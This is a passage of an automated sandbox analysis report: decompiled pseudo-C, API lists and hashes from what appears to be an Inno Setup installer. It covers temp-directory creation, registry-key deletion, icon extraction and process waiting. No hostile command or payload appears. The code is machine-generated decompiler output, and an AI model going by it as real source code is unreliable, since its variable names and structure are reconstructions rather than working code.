                                                          • String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager$WININIT.INI
                                                          • API String ID: 1840404773-2199428270
                                                          • Opcode ID: 4a52b49269555dd24e66407e6512e7b8c4851ea3be2ab72a79cd741e1cb13119
                                                          • Instruction ID: b6b9012cada698a387d74df3fd9597c4572ec37f04b771ac037875e1fbfc927b
                                                          • Opcode Fuzzy Hash: 4a52b49269555dd24e66407e6512e7b8c4851ea3be2ab72a79cd741e1cb13119
                                                          • Instruction Fuzzy Hash: 8251C931E001489BDB11EF61DC52ADEB7B9EF44345F6085BBF804A7282DB789F49CA58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 66%
                                                          			E00460D8C(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
                                                          				char _v8;
                                                          				char _v348;
                                                          				int _v356;
                                                          				struct _SHFILEINFO _v360;
                                                          				int _t54;
                                                          				int _t65;
                                                          				void* _t68;
                                                          				void* _t69;
                                                          				void* _t76;
                                                          				void* _t77;
                                                          				intOrPtr _t92;
                                                          				intOrPtr _t93;
                                                          				void* _t104;
                                                          				void* _t105;
                                                          				intOrPtr _t106;
                                                          
                                                          				_t102 = __esi;
                                                          				_t101 = __edi;
                                                          				_t104 = _t105;
                                                          				_t106 = _t105 + 0xfffffe9c;
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v8 = 0;
                                                          				_push(_t104);
                                                          				_push(0x460f11);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t106;
                                                          				E00414834( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x2dc)), 0x20);
                                                          				E00414854( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x2dc)), 0x20);
                                                          				E00414834( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x2e0)), 0x20);
                                                          				E00414854( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x2e0)), 0x20);
                                                          				_push(_t104);
                                                          				_push(0x460ef1);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t106;
                                                          				_t54 = SHGetFileInfo("c:\\directory", 0x10,  &_v360, 0x160, 0x1010); // executed
                                                          				if(_t54 != 0) {
                                                          					_t109 = _v348;
                                                          					if(_v348 != 0) {
                                                          						_t76 =  *0x48d014; // 0x400000
                                                          						_t77 = ExtractIconA(_t76,  &_v348, _v356); // executed
                                                          						E00460CCC(_t77,  *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x2dc)), __edi);
                                                          					}
                                                          				}
                                                          				E00472518(0, 2, _t101, _t102, _t109,  &_v8); // executed
                                                          				if(_v8 == 0) {
                                                          					E00472518(1, 2, _t101, _t102, 0,  &_v8);
                                                          				}
                                                          				if(_v8 != 0) {
                                                          					_t65 = SHGetFileInfo(E00403880(_v8), 0,  &_v360, 0x160, 0x1000); // executed
                                                          					if(_t65 != 0 && _v348 != 0) {
                                                          						_t68 =  *0x48d014; // 0x400000
                                                          						_t69 = ExtractIconA(_t68,  &_v348, _v356); // executed
                                                          						E00460CCC(_t69,  *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x2e0)), _t101);
                                                          					}
                                                          				}
                                                          				_pop(_t92);
                                                          				 *[fs:eax] = _t92;
                                                          				_pop(_t93);
                                                          				 *[fs:eax] = _t93;
                                                          				_push(E00460F18);
                                                          				return E00403548( &_v8);
                                                          			}


















                                                          0x00460d8c
                                                          0x00460d8c
                                                          0x00460d8d
                                                          0x00460d8f
                                                          0x00460d96
                                                          0x00460d97
                                                          0x00460d9a
                                                          0x00460d9f
                                                          0x00460da0
                                                          0x00460da5
                                                          0x00460da8
                                                          0x00460dbc
                                                          0x00460dd2
                                                          0x00460de8
                                                          0x00460dfe
                                                          0x00460e05
                                                          0x00460e06
                                                          0x00460e0b
                                                          0x00460e0e
                                                          0x00460e29
                                                          0x00460e30
                                                          0x00460e32
                                                          0x00460e39
                                                          0x00460e49
                                                          0x00460e4f
                                                          0x00460e60
                                                          0x00460e60
                                                          0x00460e39
                                                          0x00460e6f
                                                          0x00460e78
                                                          0x00460e84
                                                          0x00460e84
                                                          0x00460e8d
                                                          0x00460eab
                                                          0x00460eb2
                                                          0x00460ecb
                                                          0x00460ed1
                                                          0x00460ee2
                                                          0x00460ee2
                                                          0x00460eb2
                                                          0x00460ee9
                                                          0x00460eec
                                                          0x00460efd
                                                          0x00460f00
                                                          0x00460f03
                                                          0x00460f10

                                                          APIs
                                                          • SHGetFileInfo.SHELL32(onG,00000010,?,00000160,00001010), ref: 00460E29
                                                          • ExtractIconA.SHELL32(00400000,00000000,?), ref: 00460E4F
                                                            • Part of subcall function 00460CCC: DrawIconEx.USER32 ref: 00460D64
                                                            • Part of subcall function 00460CCC: DestroyCursor.USER32(00000000), ref: 00460D7A
                                                          • SHGetFileInfo.SHELL32(00000000,00000000,?,00000160,00001000), ref: 00460EAB
                                                          • ExtractIconA.SHELL32(00400000,00000000,?), ref: 00460ED1
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Icon$ExtractFileInfo$CursorDestroyDraw
                                                          • String ID: onG
                                                          • API String ID: 2926980410-2936850197
                                                          • Opcode ID: 08367b5098d52daf9bcfdf3e134ea9fccc895a34a18178e02685e265bdf1a550
                                                          • Instruction ID: 118d6704fa3411ac146cb249a869623680478a0e83fade8adcb248fa0429d4b7
                                                          • Opcode Fuzzy Hash: 08367b5098d52daf9bcfdf3e134ea9fccc895a34a18178e02685e265bdf1a550
                                                          • Instruction Fuzzy Hash: 9C417E74600248AFDB20DB54CD89FDFBBE8EB48344F1045B6F8049B392D679AE81CA59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 75%
                                                          			E00471F5C(long __ebx, void* __edx, void* __edi, void* __esi) {
                                                          				char _v8;
                                                          				char _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				intOrPtr _v28;
                                                          				char _v32;
                                                          				char _v36;
                                                          				char _v40;
                                                          				char _v44;
                                                          				intOrPtr _t43;
                                                          				int _t49;
                                                          				intOrPtr _t78;
                                                          				void* _t81;
                                                          				intOrPtr _t92;
                                                          				intOrPtr _t95;
                                                          				intOrPtr _t108;
                                                          				intOrPtr _t109;
                                                          
                                                          				_t106 = __esi;
                                                          				_t105 = __edi;
                                                          				_t80 = __ebx;
                                                          				_t108 = _t109;
                                                          				_t81 = 5;
                                                          				do {
                                                          					_push(0);
                                                          					_push(0);
                                                          					_t81 = _t81 - 1;
                                                          				} while (_t81 != 0);
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_push(_t108);
                                                          				_push(0x4720b2);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t109;
                                                          				E00452118( &_v20, __ebx, __edx, __edi, __esi); // executed
                                                          				E00403598(0x4ae018, _t80, _v20, _t105, _t106);
                                                          				E004035DC( &_v20, "Created temporary directory: ");
                                                          				_t92 =  *0x4ae018; // 0x21edbf0
                                                          				E004036C4( &_v20, _t92);
                                                          				E00455814(_v20, _t80, _t105, _t106);
                                                          				if( *0x48deec != 0) {
                                                          					_t78 =  *0x4ae018; // 0x21edbf0
                                                          					E00455138(_t78);
                                                          				}
                                                          				_t43 =  *0x4ae018; // 0x21edbf0
                                                          				E0042C614(_t43,  &_v20);
                                                          				E00403708( &_v8, "_isetup", _v20);
                                                          				_t49 = CreateDirectoryA(E00403880(_v8), 0); // executed
                                                          				if(_t49 == 0) {
                                                          					_t80 = GetLastError();
                                                          					E00450C5C(0x2f,  &_v36, _v8);
                                                          					_v32 = _v36;
                                                          					E00406E04(_t63,  &_v40);
                                                          					_v28 = _v40;
                                                          					E0042E7A4(_t80,  &_v44);
                                                          					_v24 = _v44;
                                                          					E00450C2C(0x60, 2,  &_v32,  &_v20);
                                                          					E00408DF0(_v20, 1);
                                                          					E00403264();
                                                          				}
                                                          				E00455AAC( &_v12);
                                                          				_t113 = _v12;
                                                          				if(_v12 != 0) {
                                                          					E00403708( &_v16, "\\_setup64.tmp", _v8);
                                                          					E00471F04(_v12, _t80, _v16, _t105, _t106, _t113); // executed
                                                          					E00455B18(_v16);
                                                          				}
                                                          				_pop(_t95);
                                                          				 *[fs:eax] = _t95;
                                                          				_push(E004720B9);
                                                          				E00403568( &_v44, 3);
                                                          				return E00403568( &_v20, 4);
                                                          			}





















                                                          0x00471f5c
                                                          0x00471f5c
                                                          0x00471f5c
                                                          0x00471f5d
                                                          0x00471f5f
                                                          0x00471f64
                                                          0x00471f64
                                                          0x00471f66
                                                          0x00471f68
                                                          0x00471f68
                                                          0x00471f6b
                                                          0x00471f6c
                                                          0x00471f6d
                                                          0x00471f70
                                                          0x00471f71
                                                          0x00471f76
                                                          0x00471f79
                                                          0x00471f7f
                                                          0x00471f8c
                                                          0x00471f99
                                                          0x00471fa1
                                                          0x00471fa7
                                                          0x00471faf
                                                          0x00471fbb
                                                          0x00471fbd
                                                          0x00471fc2
                                                          0x00471fc2
                                                          0x00471fca
                                                          0x00471fcf
                                                          0x00471fdf
                                                          0x00471fef
                                                          0x00471ff6
                                                          0x00471ffd
                                                          0x0047200b
                                                          0x00472013
                                                          0x0047201b
                                                          0x00472023
                                                          0x0047202b
                                                          0x00472033
                                                          0x00472040
                                                          0x0047204f
                                                          0x00472054
                                                          0x00472054
                                                          0x0047205c
                                                          0x00472061
                                                          0x00472065
                                                          0x00472072
                                                          0x0047207d
                                                          0x00472085
                                                          0x00472085
                                                          0x0047208c
                                                          0x0047208f
                                                          0x00472092
                                                          0x0047209f
                                                          0x004720b1

                                                          APIs
                                                          • CreateDirectoryA.KERNEL32(00000000,00000000,00000000,004720B2,?,?,?,?,00000000,00000000,?,00489B07,00000005,?,00000000,00489A2C), ref: 00471FEF
                                                          • GetLastError.KERNEL32(00000000,00000000,00000000,004720B2,?,?,?,?,00000000,00000000,?,00489B07,00000005,?,00000000,00489A2C), ref: 00471FF8
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CreateDirectoryErrorLast
                                                          • String ID: Created temporary directory: $\_setup64.tmp$_isetup
                                                          • API String ID: 1375471231-2952887711
                                                          • Opcode ID: b2cc08cddc1080a237eda141dba4d5db7b291d9ad200111262bd14dd5cfff34c
                                                          • Instruction ID: 1d498d71d49390669bcb8363c298d557dbb2d3ed68d0052a49d8ac0daae2ead7
                                                          • Opcode Fuzzy Hash: b2cc08cddc1080a237eda141dba4d5db7b291d9ad200111262bd14dd5cfff34c
                                                          • Instruction Fuzzy Hash: 61415374A002199BDB10FFA5C881ADEB7B5EF44305F50853BE91077392DB78AE05CB69
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00423C9C(void* __eax, void* __ecx) {
                                                          				struct HWND__* _v16;
                                                          				int _t17;
                                                          				void* _t28;
                                                          				void* _t33;
                                                          				long _t34;
                                                          
                                                          				_t28 = __eax;
                                                          				_t17 =  *0x48d628; // 0x21c2410
                                                          				if( *((intOrPtr*)(_t17 + 0x20)) != 0) {
                                                          					if( *((intOrPtr*)(__eax + 0x74)) == 0) {
                                                          						 *_t34 =  *((intOrPtr*)(__eax + 0x20));
                                                          						EnumWindows(E00423C34, _t34); // executed
                                                          						_t17 =  *(_t28 + 0x70);
                                                          						if( *((intOrPtr*)(_t17 + 8)) != 0) {
                                                          							_v16 = GetWindow(_v16, 3);
                                                          							if((GetWindowLongA(_v16, 0xffffffec) & 0x00000008) != 0) {
                                                          								_v16 = 0xfffffffe;
                                                          							}
                                                          							_t17 =  *(_t28 + 0x70);
                                                          							_t33 =  *((intOrPtr*)(_t17 + 8)) - 1;
                                                          							if(_t33 >= 0) {
                                                          								do {
                                                          									_t12 =  &_v16; // 0x424374
                                                          									_t17 = SetWindowPos(E0040B654( *(_t28 + 0x70), _t33),  *_t12, 0, 0, 0, 0, 0x13);
                                                          									_t33 = _t33 - 1;
                                                          								} while (_t33 != 0xffffffff);
                                                          							}
                                                          						}
                                                          					}
                                                          					 *((intOrPtr*)(_t28 + 0x74)) =  *((intOrPtr*)(_t28 + 0x74)) + 1;
                                                          				}
                                                          				return _t17;
                                                          			}








                                                          0x00423c9f
                                                          0x00423ca1
                                                          0x00423caa
                                                          0x00423cb0
                                                          0x00423cb5
                                                          0x00423cc0
                                                          0x00423cc5
                                                          0x00423ccc
                                                          0x00423cda
                                                          0x00423ceb
                                                          0x00423ced
                                                          0x00423ced
                                                          0x00423cf4
                                                          0x00423cfa
                                                          0x00423cfe
                                                          0x00423d00
                                                          0x00423d0a
                                                          0x00423d1a
                                                          0x00423d1f
                                                          0x00423d20
                                                          0x00423d00
                                                          0x00423cfe
                                                          0x00423ccc
                                                          0x00423d25
                                                          0x00423d25
                                                          0x00423d2b

                                                          APIs
                                                          • EnumWindows.USER32(00423C34), ref: 00423CC0
                                                          • GetWindow.USER32(?,00000003), ref: 00423CD5
                                                          • GetWindowLongA.USER32 ref: 00423CE4
                                                          • SetWindowPos.USER32(00000000,tCB,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,004243C3,?,?,00423F8B), ref: 00423D1A
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Window$EnumLongWindows
                                                          • String ID: tCB
                                                          • API String ID: 4191631535-4013893092
                                                          • Opcode ID: 42c1a3108d1966652383b620ef5f58b06600a869a03b4cc319858beed276cf81
                                                          • Instruction ID: 4b956462b1ad48f48edaf6004990d1aa2628934630961f6d51159a6d3526b44e
                                                          • Opcode Fuzzy Hash: 42c1a3108d1966652383b620ef5f58b06600a869a03b4cc319858beed276cf81
                                                          • Instruction Fuzzy Hash: 85117071740220AFEB10EF28DC85F56B3E4EB08725F11066AF954AB2E6C778DD40CB59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 50%
                                                          			E0042DDB0(void* __eax, char* __ecx, void* __edx) {
                                                          				struct HINSTANCE__* _t4;
                                                          				long _t5;
                                                          
                                                          				_t9 = __ecx;
                                                          				_t6 = __edx;
                                                          				if(__eax == 2) {
                                                          					if( *0x48d65c == 0) {
                                                          						_push("RegDeleteKeyExA");
                                                          						_t4 = GetModuleHandleA("advapi32.dll");
                                                          						_push(_t4);
                                                          						L00405AA4();
                                                          						 *0x48d65c = _t4;
                                                          					}
                                                          					if( *0x48d65c == 0) {
                                                          						return 0x7f;
                                                          					} else {
                                                          						return  *0x48d65c(_t6, _t9, 0x100, 0);
                                                          					}
                                                          				}
                                                          				_t5 = RegDeleteKeyA(__edx, __ecx); // executed
                                                          				return _t5;
                                                          			}





                                                          0x0042ddb2
                                                          0x0042ddb4
                                                          0x0042ddb8
                                                          0x0042ddcb
                                                          0x0042ddcd
                                                          0x0042ddd7
                                                          0x0042dddc
                                                          0x0042dddd
                                                          0x0042dde2
                                                          0x0042dde2
                                                          0x0042ddee
                                                          0x00000000
                                                          0x0042ddf0
                                                          0x00000000
                                                          0x0042ddf9
                                                          0x0042ddee
                                                          0x0042ddbc
                                                          0x0042ddc3

                                                          APIs
                                                          • RegDeleteKeyA.ADVAPI32(?,?), ref: 0042DDBC
                                                          • GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,?,00000000,0042DF3F,00000000,0042DF57,?,?,?,?), ref: 0042DDD7
                                                          • 6CAA5550.KERNEL32(00000000,advapi32.dll,RegDeleteKeyExA,?,00000000,0042DF3F,00000000,0042DF57,?,?,?,?), ref: 0042DDDD
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550DeleteHandleModule
                                                          • String ID: RegDeleteKeyExA$advapi32.dll
                                                          • API String ID: 2269051546-1846899949
                                                          • Opcode ID: 288ca87a7c51869f6ade81fd504270e4d940822648a9e56890414050d9e692d3
                                                          • Instruction ID: c19cd24ebecbd8f981b26dd809c266447ed7ef14191792cf4e418f79b35b6877
                                                          • Opcode Fuzzy Hash: 288ca87a7c51869f6ade81fd504270e4d940822648a9e56890414050d9e692d3
                                                          • Instruction Fuzzy Hash: D6E065B1F1163466DA1072657C49B9717289B28316F51453BF109BD1D1D6BC4880DF5C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 79%
                                                          			E00476554(void* __ebx, void* __ecx, char __edx, void* __edi, intOrPtr __esi) {
                                                          				char _v5;
                                                          				char _v12;
                                                          				intOrPtr* _t17;
                                                          				intOrPtr _t23;
                                                          				intOrPtr _t32;
                                                          				intOrPtr _t35;
                                                          				intOrPtr _t37;
                                                          				intOrPtr* _t57;
                                                          				void* _t58;
                                                          				char _t63;
                                                          				intOrPtr _t65;
                                                          				intOrPtr _t67;
                                                          				struct HMENU__* _t75;
                                                          				void* _t77;
                                                          				void* _t78;
                                                          				intOrPtr _t79;
                                                          
                                                          				_t74 = __esi;
                                                          				_t73 = __edi;
                                                          				_t63 = __edx;
                                                          				_t58 = __ecx;
                                                          				_t77 = _t78;
                                                          				_t79 = _t78 + 0xfffffff8;
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v12 = 0;
                                                          				_t80 = __edx;
                                                          				if(__edx != 0) {
                                                          					_t79 = _t79 + 0xfffffff0;
                                                          					_t17 = E00402E78(_t17, _t77);
                                                          				}
                                                          				_v5 = _t63;
                                                          				_t57 = _t17;
                                                          				_push(_t77);
                                                          				_push(0x47668b);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t79;
                                                          				E004203C4(_t58, 0); // executed
                                                          				E0048811C(_t57, _t80);
                                                          				if(( *0x4ae17d & 0x00000001) == 0) {
                                                          					_t23 =  *0x48d628; // 0x21c2410
                                                          					 *((char*)(_t23 + 0x3a)) = 0;
                                                          				} else {
                                                          					if(( *0x4ae17d & 0x00000002) != 0) {
                                                          						__eflags =  *0x4ae17d & 0x00000004;
                                                          						if(( *0x4ae17d & 0x00000004) == 0) {
                                                          							E004211DC(_t57, 1);
                                                          						}
                                                          					} else {
                                                          						E004211DC(_t57, 0);
                                                          					}
                                                          					_t74 =  *_t57;
                                                          					 *((intOrPtr*)( *_t57 + 0x4c))(GetSystemMetrics(1), GetSystemMetrics(0));
                                                          					E004183D4(_t57);
                                                          					if(( *0x4ae17d & 0x00000008) != 0) {
                                                          						E0042176C(_t57, 2);
                                                          					}
                                                          				}
                                                          				_t65 =  *0x4ae278; // 0x21d49dc
                                                          				E00450C5C(0x99,  &_v12, _t65);
                                                          				E00414D30(_t57, _t57, _v12, _t73, _t74);
                                                          				_t75 = GetSystemMenu(E004183F8(_t57), 0);
                                                          				AppendMenuA(_t75, 0x800, 0, 0);
                                                          				_t32 =  *0x48db70; // 0x21d8ec4
                                                          				AppendMenuA(_t75, 0, 0x270f, E00403880(_t32));
                                                          				_t35 =  *0x48d628; // 0x21c2410
                                                          				E004246EC(_t35, _t73, _t75, 0x477dc8, _t57);
                                                          				_t37 =  *0x48d628; // 0x21c2410
                                                          				if( *((char*)(_t37 + 0x3a)) != 0) {
                                                          					E00420DD8(_t57, 1);
                                                          				}
                                                          				_pop(_t67);
                                                          				 *[fs:eax] = _t67;
                                                          				_push(0x476692);
                                                          				return E00403548( &_v12);
                                                          			}



















                                                          0x00476554
                                                          0x00476554
                                                          0x00476554
                                                          0x00476554
                                                          0x00476555
                                                          0x00476557
                                                          0x0047655b
                                                          0x0047655c
                                                          0x0047655f
                                                          0x00476562
                                                          0x00476564
                                                          0x00476566
                                                          0x00476569
                                                          0x00476569
                                                          0x0047656e
                                                          0x00476571
                                                          0x00476575
                                                          0x00476576
                                                          0x0047657b
                                                          0x0047657e
                                                          0x00476585
                                                          0x0047658c
                                                          0x00476598
                                                          0x004765f6
                                                          0x004765fb
                                                          0x0047659a
                                                          0x004765a1
                                                          0x004765ae
                                                          0x004765b5
                                                          0x004765bb
                                                          0x004765bb
                                                          0x004765a3
                                                          0x004765a7
                                                          0x004765a7
                                                          0x004765d6
                                                          0x004765d8
                                                          0x004765dd
                                                          0x004765e9
                                                          0x004765ef
                                                          0x004765ef
                                                          0x004765e9
                                                          0x00476602
                                                          0x0047660a
                                                          0x00476614
                                                          0x00476628
                                                          0x00476634
                                                          0x00476639
                                                          0x0047664c
                                                          0x00476657
                                                          0x0047665c
                                                          0x00476661
                                                          0x0047666a
                                                          0x00476670
                                                          0x00476670
                                                          0x00476677
                                                          0x0047667a
                                                          0x0047667d
                                                          0x0047668a

                                                          APIs
                                                          • GetSystemMetrics.USER32 ref: 004765C2
                                                          • GetSystemMetrics.USER32 ref: 004765CA
                                                          • GetSystemMenu.USER32(00000000,00000000,00000000,0047668B), ref: 00476623
                                                          • AppendMenuA.USER32 ref: 00476634
                                                          • AppendMenuA.USER32 ref: 0047664C
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: MenuSystem$AppendMetrics
                                                          • String ID:
                                                          • API String ID: 4092608398-0
                                                          • Opcode ID: e43ecf7685c102d530d18a92146b1499113c13fe4420706c56d4e9a9ae10726d
                                                          • Instruction ID: 96842d1d0265868ad5032109c8ca27fb30cd5cc7f00f74ecd897c9a05342b594
                                                          • Opcode Fuzzy Hash: e43ecf7685c102d530d18a92146b1499113c13fe4420706c56d4e9a9ae10726d
                                                          • Instruction Fuzzy Hash: 1431D4703047546BD310FB369C82B9A3B9A9B06718F55887EB804A72E3CA7D9C08875C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 83%
                                                          			E00453637() {
                                                          				intOrPtr _t36;
                                                          				void* _t38;
                                                          
                                                          				CloseHandle( *(_t38 - 0x60));
                                                          				if( *((char*)(_t38 + 0x14)) != 0) {
                                                          					WaitForInputIdle( *(_t38 - 0x64), 0xffffffff);
                                                          				}
                                                          				if( *((char*)(_t38 + 0x18)) != 0) {
                                                          					do {
                                                          						if( *((intOrPtr*)(_t38 + 0xc)) != 0) {
                                                          							 *((intOrPtr*)(_t38 + 0xc))();
                                                          						}
                                                          					} while (MsgWaitForMultipleObjects(1, _t38 - 0x64, 0, 0xffffffff, 0xff) == 1);
                                                          				}
                                                          				GetExitCodeProcess( *(_t38 - 0x64),  *(_t38 + 8)); // executed
                                                          				CloseHandle( *(_t38 - 0x64));
                                                          				_pop(_t36);
                                                          				 *[fs:eax] = _t36;
                                                          				_push(E004536BF);
                                                          				E00403568(_t38 - 0x6c, 2);
                                                          				E00403548(_t38 - 8);
                                                          				return E00403548(_t38 + 0x1c);
                                                          			}





                                                          0x0045363b
                                                          0x00453644
                                                          0x0045364c
                                                          0x0045364c
                                                          0x00453655
                                                          0x00453657
                                                          0x0045365b
                                                          0x0045365d
                                                          0x0045365d
                                                          0x00453674
                                                          0x00453657
                                                          0x0045367f
                                                          0x00453688
                                                          0x0045368f
                                                          0x00453692
                                                          0x00453695
                                                          0x004536a2
                                                          0x004536aa
                                                          0x004536b7

                                                          APIs
                                                          • CloseHandle.KERNEL32(?), ref: 0045363B
                                                          • WaitForInputIdle.USER32 ref: 0045364C
                                                          • MsgWaitForMultipleObjects.USER32 ref: 0045366F
                                                          • GetExitCodeProcess.KERNEL32 ref: 0045367F
                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 00453688
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CloseHandleWait$CodeExitIdleInputMultipleObjectsProcess
                                                          • String ID:
                                                          • API String ID: 2750287839-0
                                                          • Opcode ID: 7c182a02d3b1a07d3612e1367028a1ff14e218a41bee7e5c62843503e6af4cbd
                                                          • Instruction ID: 50b9121f7bf57fafa210125d37be638fc96df00772b7c6e82edbd2a74dd08561
                                                          • Opcode Fuzzy Hash: 7c182a02d3b1a07d3612e1367028a1ff14e218a41bee7e5c62843503e6af4cbd
                                                          • Instruction Fuzzy Hash: 15011E71504309BADF20EFE9CC45B9E77A89F04365F50413BB914EB2D2CA3C9A44CB19
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 84%
                                                          			E00477688(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
                                                          				intOrPtr* _v8;
                                                          				char _v9;
                                                          				char _v10;
                                                          				char _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				char _v28;
                                                          				char _v32;
                                                          				void* _t56;
                                                          				void* _t63;
                                                          				intOrPtr _t78;
                                                          				signed int _t110;
                                                          				intOrPtr _t121;
                                                          				intOrPtr _t142;
                                                          				intOrPtr _t158;
                                                          				intOrPtr _t170;
                                                          				intOrPtr _t171;
                                                          				intOrPtr _t180;
                                                          				intOrPtr _t182;
                                                          				intOrPtr _t185;
                                                          				intOrPtr _t186;
                                                          				intOrPtr _t193;
                                                          				void* _t198;
                                                          				void* _t199;
                                                          				intOrPtr _t200;
                                                          				void* _t208;
                                                          
                                                          				_t208 = __fp0;
                                                          				_t195 = __esi;
                                                          				_t194 = __edi;
                                                          				_t151 = __ecx;
                                                          				_t198 = _t199;
                                                          				_t200 = _t199 + 0xffffffe4;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v32 = 0;
                                                          				_v20 = 0;
                                                          				_v16 = 0;
                                                          				_v8 = __eax;
                                                          				_push(_t198);
                                                          				_push(0x477987);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t200;
                                                          				_v9 = 0;
                                                          				_push(_t198);
                                                          				_push(0x47793b);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t200;
                                                          				_t56 = E004651F0( *0x4adf64, __ecx, 0);
                                                          				_t202 = _t56;
